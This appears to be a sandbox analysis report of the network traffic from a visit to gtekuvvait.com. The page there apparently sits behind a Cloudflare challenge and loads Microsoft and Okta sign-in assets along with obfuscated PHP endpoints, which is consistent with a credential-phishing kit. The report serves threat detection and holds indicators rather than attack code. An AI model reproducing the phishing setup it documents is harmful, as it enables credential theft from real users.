Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8cbcae183e2342bd/1727788093971/dcbd2e0bf554887b70a10df12d13d00fd03686cbcc86498f3a55dc438817fab9/a0JwO36r5XkPi_g HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cbcae183e2342bd/1727788093972/5ftnKG-0C57dlXg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cbcae183e2342bd/1727788093972/5ftnKG-0C57dlXg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zuprivater/Xdrrwwipj/admin/lifeattach HTTP/1.1Host: gtekuvvait.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4YAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; cf_clearance=h7tWXbhCRfnXbpz8GEt2B2qy5f.Ck1el8SpcwIwGaW0-1727788092-1.2.1.1-pAuzedtMNKEaiyALAK2Lq_CWg2cfZCCbyIYtd7klccux5JiB6KQWqVKueU.fb0W94jUKaFWcKUJ9HS_UyXM7AYgs0zMGxjqxwD.csAT8YH5lQsGL3qqXtCL_iREdUbAP.6eg6BqKfAvs0P2k7xUkAYGf4vQDMEf.gqgDw6gttvCdL7V7gAoYf.ffVfcBrl6s.iYJmTOxlyRpQW9Q48OCT0F.DPXBOyrMgyMS3ql4CodIht77UsSTcmwtPLQri2LQOg5v9NO_3pKZMEavix3FXKfrMwnFguoRd1ZsWMBQFAzJOLlY0zjZpdzT9IzJ47wjsAxBbjYWOPkaefPRf.wiy9lA2lhAXPf90lKk6YipggZyySiGG38W193POOCIAJgW
Source: global traffic	HTTP traffic detected: GET /zuprivater/Xdrrwwipj/uysfdiv0928e374.php HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
Source: global traffic	HTTP traffic detected: GET /npm/axios/dist/axios.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zuprivater/Xdrrwwipj/admin/lifeattach HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; PHPSESSID=59af271c130d7fcd9b183463b4579638
Source: global traffic	HTTP traffic detected: GET /npm/axios/dist/axios.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/illustration?ts=636148307647586819 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/bannerlogo?ts=636148307564681746 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zuprivater/Xdrrwwipj/uryfdsk2o3294djfshg.php HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; PHPSESSID=59af271c130d7fcd9b183463b4579638
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/bannerlogo?ts=636148307564681746 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/illustration?ts=636148307647586819 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3y3cV+h8BYDcf34&MD=uZvYf9+9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /zuprivater/Xdrrwwipj/uryfdsk2o3294djfshg.php HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; PHPSESSID=59af271c130d7fcd9b183463b4579638

Source: global traffic	DNS traffic detected: DNS query: vwkugoia0yciq0buttompanj2.ntvultra.com
Source: global traffic	DNS traffic detected: DNS query: gtekuvvait.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /zuprivater/Xdrrwwipj/ HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveContent-Length: 22sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-Requested-TimeStamp-Expire: sec-ch-ua-mobile: ?0X-Requested-TimeStamp-Combination: X-Requested-Type-Combination: GETContent-type: application/x-www-form-urlencodedX-Requested-Type: GETUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36ZaOHwFApya53RTC4BTqa5t59QUs: 50332954X-Requested-with: XMLHttpRequestX-Requested-TimeStamp: sec-ch-ua-platform: "Windows"Accept: */*Origin: https://gtekuvvait.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gtekuvvait.com/zuprivater/Xdrrwwipj/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 01 Oct 2024 13:08:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Content-Type-Options: nosniffX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockX-XSS-Protection: 1; mode=blockCache-Control: public, max-age=315360000, stale-while-revalidate=315360000, stale-if-error=315360000, immutablePragma: publicCF-Cache-Status: HITAge: 1294147Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PYQz%2F3OC1rJ76YySDW8R%2FgBPuz%2B7rTVrmi7pc2%2B8yduF0BeDPc2JqCjAHxegYMjy1ah2ONaevRfFO77nyb07FQXOcQkcnrbDx52fWRgNgnoDNOsihLMXcEveaOgIylhH2g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8cbcadf6bbf372b9-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Oct 2024 13:08:14 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: nU99bbe5dqlegrglEtQqrh4cCq0+oxeA+Ps=$47deJGWNViBq5e1Ycache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8cbcae28fa17c337-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Oct 2024 13:08:18 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: tH2WOw9FVgTvhMqyl4HpcC14I1A+91NKSRU=$jUkFOXDQyjE05hFmServer: cloudflareCF-RAY: 8cbcae3f78c2c344-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Oct 2024 13:08:21 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: ih5Qw2QSeDqt1nJrtEshhRA8uScLPFJABS8=$tx5qaZfV5qr7XZGeServer: cloudflareCF-RAY: 8cbcae51c8e40cbe-EWR

Source: chromecache_77.1.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: chromecache_77.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js
Source: chromecache_77.1.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_97.1.dr	String found in binary or memory: https://gtekuvvait.com/zuprivater/Xdrrwwipj/#jsalas

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
